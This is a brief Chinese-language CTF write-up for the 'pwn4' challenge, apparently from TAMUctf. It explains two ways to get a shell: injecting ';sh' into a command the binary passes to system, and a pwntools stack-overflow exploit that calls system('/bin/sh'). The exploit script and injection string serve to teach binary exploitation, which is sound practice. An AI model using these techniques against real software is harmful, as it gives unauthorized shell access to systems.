pwn4

作者: n0va | 来源:发表于2019-03-08 23:35 被阅读0次

    checksec :

    image.png

    IDA:

    image.png

    这题有两种做法
    一:
    因为strchr将"/"过滤了,而run_cmd函数会执行system(ls"s"),而system(ls;sh)相当于system("/bin/sh"),所以我们只需要输入;sh即可
    二:
    文件中有system函数也有"/bin/sh"字符,可以直接利用栈溢出执行system("/bin/sh")
    exp:

    from pwn import *
    p = process('./pwn4')
    # p = remote("pwn.tamuctf.com","4324")
    system = 0x80483F0
    binsh = 0x804A034
    payload = 'a'*0x25 + p32(system) + p32(0) + p32(binsh)
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:pwn4

          本文链接:https://www.haomeiwen.com/subject/kqljpqtx.html